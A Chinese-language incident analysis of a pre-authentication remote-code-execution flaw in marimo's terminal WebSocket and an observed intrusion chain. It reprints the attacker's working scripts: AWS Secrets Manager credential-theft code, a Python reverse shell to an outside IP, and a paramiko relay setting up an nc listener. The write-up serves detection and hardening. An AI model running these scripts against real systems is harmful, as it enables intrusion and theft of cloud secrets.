marimo RCE 飆出 AI 級攻擊速度?
1. 根本原因:WebSocket 端點缺少認證
CVE-2026-39987(CVSS 9.3,GHSA-2679-6mx9-h9xc)影響所有 0.20.4 及之前的
marimo
版本
[2]
。有漏洞的端點
/terminal/ws
透過 WebSocket 連線暴露一個互動式虛擬終端(PTY)shell。與應用程式其他 WebSocket 路由不同——那些路由會在接受連線前正確呼叫
validate_auth()
檢查——終端端點只檢查執行模式與平台支援,完全省略認證
[1][2]
。任何能對該路徑開啟 WebSocket 的客戶端,都會取得以 marimo 程序使用者身分執行的完整互動式 shell,無論該實例是否設定了認證。在 0.23.0 版本中修復的方式,是將缺失的
validate_auth()
呼叫接進終端處理常式
[1]
。這類缺陷──某個端點在未提示的情況下偏離了同類端點的驗證模式──在那些將 WebSocket 路由疊加於既有 HTTP 驗證模型的應用中,是反覆出現的 pre-auth RCE 根源,因為基於中介層的驗證防護並不會自動套用到協定升級後的連線。
2. 攻擊序列概觀
觀察到的 session 遵循一致的五階段模式:透過未認證終端取得初始存取、網路偵察、從主機上兩個獨立介面竊取認證、從 AWS Secrets Manager 取回下游 SSH key,以及對 bastion 主機進行認證 [1] 。以下序列重建這條攻擊鏈中完成速度最快的一個循環,其中 WebSocket 連線與 bastion 認證之間的間隔為八秒 [1] 。
圖 1 — 從未認證 WebSocket 連線到 bastion SSH 認證的重建漏洞利用序列。
3. 認證竊取與 Secrets Manager 取回
攻擊者從遭入侵主機上的兩個獨立介面取得 AWS 認證:程序環境/認證檔案,以及應用程式 Redis 後端回傳的值
[1]
。這兩組認證在出現在任何已記錄的終端 session 之前,都先透過
GetCallerIdentity
驗證,之後兩者又被嘗試用於 Secrets Manager,這顯示出的是一個逐步探索的過程,而非單純的幸運猜中
[1]
。以下重現第一個用於取回 bastion secret 的指令碼。
程式碼 1 — 區域備援 Secrets Manager 取回
- import boto3, json
- try:
- # First attempt uses us-east-1 with hardcoded credentials already
- # harvested from the compromised host (not read from environment),
- # indicating the operator was iterating against known-good creds.
- client = boto3.client("secretsmanager",
- aws_access_key_id="<AWS_KEY_HARVESTED_FROM_VICTIM>",
- aws_secret_access_key="<AWS_SECRET_HARVESTED_FROM_VICTIM>",
- region_name="us-east-1")
- resp = client.get_secret_value(SecretId="REDACTED")
- val = resp.get("SecretString", "")
- if not val:
- val = resp.get("SecretBinary", b"").decode()
- print("SECRET_START")
- print(val)
- print("SECRET_END")
- except Exception as e:
- print(f"AWS_ERR:{e}")
- # On failure, the script assumes the secret exists in a different
- # region and iterates through a fixed candidate list rather than
- # querying region metadata — a brute-force discovery pattern that
- # is detectable in CloudTrail as denied calls across regions
- # within a short window.
- for region in ["us-west-2", "eu-west-1", "ap-southeast-1", "us-east-2"]:
- try:
- c2 = boto3.client("secretsmanager",
- aws_access_key_id="<AWS_KEY_HARVESTED_FROM_VICTIM>",
- aws_secret_access_key="<AWS_SECRET_HARVESTED_FROM_VICTIM>",
- region_name=region)
- r2 = c2.get_secret_value(SecretId="REDACTED")
- val = r2.get("SecretString", "")
- if not val:
- val = r2.get("SecretBinary", b"").decode()
- print(f"FOUND_IN_{region}")
- print("SECRET_START")
- print(val)
- print("SECRET_END")
- break
- except Exception as e2:
- print(f"REGION_{region}:{e2}")
這個程式碼的控制流程在架構上意義重大:例外處理常式不是防禦性備援,而是主要的探索機制,因為操作者事先不知道目標 secret 位於哪個 AWS 區域。AWS Secrets Manager 依設計以區域為範圍,而為了災難復原而設定跨區域 secret 複寫的組織 [3] ,會在無意間擴大這個確切的攻擊面,因為對某一區域有效的竊得認證,可以盲目地對其他數個區域重試,直到其中一個回傳 secret。
程式碼 2 — 帶結構偵測的持久化 key 取回
- import boto3, json, os, sys
- # Credentials supplied via environment variables in this revision,
- # rather than hardcoded — a refinement over Script 1.
- client = boto3.client("secretsmanager")
- try:
- resp = client.get_secret_value(SecretId="REDACTED")
- secret = resp.get("SecretString", "")
- if not secret:
- secret = resp.get("SecretBinary", b"").decode()
- print("SECRET_RETRIEVED")
- print(f"SECRET_LEN:{len(secret)}")
- # Handles both JSON-structured secrets (e.g. {"private_key": "..."})
- # and raw-string secrets, since Secrets Manager does not enforce
- # a schema on SecretString content.
- try:
- data = json.loads(secret)
- for k, v in data.items():
- if "key" in k.lower() or "private" in k.lower():
- with open("/tmp/bastion_key", "w") as f:
- f.write(v)
- os.chmod("/tmp/bastion_key", 0o600) # matches OpenSSH
- # private-key perms
- print(f"KEY_FIELD:{k}")
- print(f"KEY_HEAD:{v[:60]}")
- print("KEY_SAVED:/tmp/bastion_key")
- else:
- print(f"FIELD:{k}={str(v)[:100]}")
- except json.JSONDecodeError:
- with open("/tmp/bastion_key", "w") as f:
- f.write(secret)
- os.chmod("/tmp/bastion_key", 0o600)
- print(f"RAW_KEY_HEAD:{secret[:60]}")
- print("KEY_SAVED:/tmp/bastion_key")
- except Exception as e:
- print(f"AWS_ERR:{e}")
- # Falls back to enumerating all secrets visible to this principal
- # if the specific SecretId is wrong or inaccessible.
- try:
- secrets = client.list_secrets(MaxResults=20)
- for s in secrets.get("SecretList", []):
- print(f"SECRET_LIST:{s['Name']}")
- except Exception as e2:
- print(f"LIST_ERR:{e2}")
檔案權限呼叫
os.chmod("/tmp/bastion_key", 0o600)
模仿 OpenSSH 本身對 private key 檔案強制的模式,讓指令碼的輸出可以直接被標準
ssh
呼叫使用,無需手動修正權限的步驟。這與建議的 IAM 實務一致:principal 層級的 IAM 政策應將
secretsmanager:GetSecretValue
的範圍限定在特定角色合法需要的 secret
[4]
,如此一來,對範圍設定正確的 notebook 主機 IAM 角色而言,這個呼叫會以
AccessDeniedException
失敗。
4. Fallback Reverse shell 與 Relay Setup
在 Secrets Manager 攻擊鏈進行的同時,操作者部署了一個僅使用標準函式庫的 Reverse shell 及一個 Remote listener,讓入侵行動擁有備援的控制通道,而非僅依賴 bastion SSH 路徑 [1] 。
程式碼 3 — Direct reverse shell
- import socket, subprocess, os, sys
- try:
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.settimeout(10) # added after a prior hang,
- # per the primary source
- s.connect(("45.79.187.72", 4444))
- os.dup2(s.fileno(), 0) # redirect stdin
- os.dup2(s.fileno(), 1) # redirect stdout
- os.dup2(s.fileno(), 2) # redirect stderr
- subprocess.call(["/bin/bash", "-i"])
- except Exception as e:
- print(f"SHELL_ERR:{e}", file=sys.stderr)
這個程式碼只使用
socket
、
os.dup2
與
subprocess
——沒有第三方依賴、沒有混淆,除了用來將它放入
/tmp/
的外層 base64 傳輸包裝外也沒有其他編碼
[1]
。
os.dup2
三重奏是 Unix 上將 Spawned shell 的標準串流重新綁定到 socket 檔案描述符的經典技巧,無需任何特殊工具就能產生 Interactive remote shell。
程式碼 4 — SSH key 類型偵測與 listener 啟動
- #!/usr/bin/env python3
- import paramiko, io, time, sys
- with open("/tmp/relay_key", "r") as f:
- key_data = f.read()
- print(f"KEY_LEN: {len(key_data)}", file=sys.stderr)
- print(f"KEY_HEAD: {key_data[:50]}", file=sys.stderr)
- # The operator does not know the retrieved key's algorithm in advance,
- # so each supported paramiko key class is tried in turn until one
- # parses successfully.
- key = None
- for KeyClass in [paramiko.RSAKey, paramiko.Ed25519Key, paramiko.ECDSAKey]:
- try:
- key = KeyClass.from_private_key(io.StringIO(key_data))
- print(f"KEY_TYPE: {KeyClass.__name__}", file=sys.stderr)
- break
- except Exception as e:
- print(f"TRY_{KeyClass.__name__}: {e}", file=sys.stderr)
- continue
- if not key:
- print("FAILED_ALL_KEY_TYPES", file=sys.stderr)
- sys.exit(1)
- client = paramiko.SSHClient()
- client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
- try:
- client.connect("45.79.187.72", username="root", pkey=key, timeout=10)
- print("SSH_CONNECTED", file=sys.stderr)
- client.exec_command("pkill -f 'nc.*4444' 2>/dev/null") # clear any
- # stale listener
- time.sleep(1)
- client.exec_command("nohup nc -lvp 4444 > /tmp/revshell.log 2>&1 &")
- time.sleep(2)
- _,o,_ = client.exec_command("ss -tlnp | grep 4444") # confirm bind
- verify = o.read().decode().strip()
- print(f"LISTENER: {verify}", file=sys.stderr)
- _,o2,_ = client.exec_command("hostname; id")
- info = o2.read().decode().strip()
- print(f"RELAY_INFO: {info}", file=sys.stderr)
- client.close()
- print("RELAY_READY") # stdout status flag consumed by a
- # calling/orchestrating script
- except Exception as e:
- print(f"SSH_ERROR: {e}", file=sys.stderr)
這個程式碼與前幾個程式碼一致地將診斷輸出放在
stderr
、單一狀態 token(
RELAY_READY
)放在
stdout
,這顯示這套工具箱的設計是控制程式碼以程式化控制設計,而不只是互動式地逐行執行
[1]
。
5. 一個具啟發性的自動化失效:EC2 Instance Connect
在兩個 WebSocket session 之間,一個背景程序嘗試使用 AWS EC2 Instance Connect 建立第二條獨立的持久化路徑,意圖將攻擊者控制的 Public key 直接推送到目標執行個體,完全繞過 Secrets Manager [1] 。這個序列說明了常見的自動化缺陷:本應填入 Target instance ID 的列舉步驟因授權錯誤而失敗,但指令碼仍繼續使用未初始化或哨兵值(Sentinel value)來呼叫 key-push。
defaults to placeholder i-0000000000000000 S->>E: SendSSHPublicKey(i-0000000000000000) E->>I: Validate instance identifier I-->>E: Malformed ID — reject before IAM policy check E-->>S: Blocked
圖 2 — EC2 Instance Connect 列舉與 key-push 失敗。
格式錯誤的執行個體識別碼
i-0000000000000000
使 AWS 在輸入驗證階段就拒絕
SendSSHPublicKey
呼叫,甚至還未進入 IAM policy evaluation
[1]
。若列舉成功,這條路徑將可提供直接、無密碼的 SSH 進入執行個體,完全不觸及 Secrets Manager,其結果會比實際成功的認證樞紐路徑危險得多。這種「Three-denial-then-placeholder-call」的模式,是高保真度的行為指紋,可將這條特定的自動化攻擊鏈與一般掃描流量區分開來
[1]
。
6. 討論:攻擊鏈形狀重於指令風格
研究的一項核心發現是:以操作者類別特徵為依據的偵測工程——例如區分 LLM 生成的 shell 語法與手打指令(hand-typed command)——是不可靠的訊號,因為這兩類操作者最終都收斂到相同的底層 API 序列:
secretsmanager:GetSecretValue
呼叫、key 寫入磁碟,以及對下游主機的對外 SSH handshake
[1]
。這呼應了一般的架構教訓:暴露給 notebook 主機上任何程序的認證——無論是透過環境變數、資料層 cache 或掛載的認證檔案——都構成單一的信任邊界;攻擊者只需找到一個可存取的介面,而上述工具箱顯示,指令碼只需極少的額外工程努力,就能依序探查數個這類介面
[1][4]
。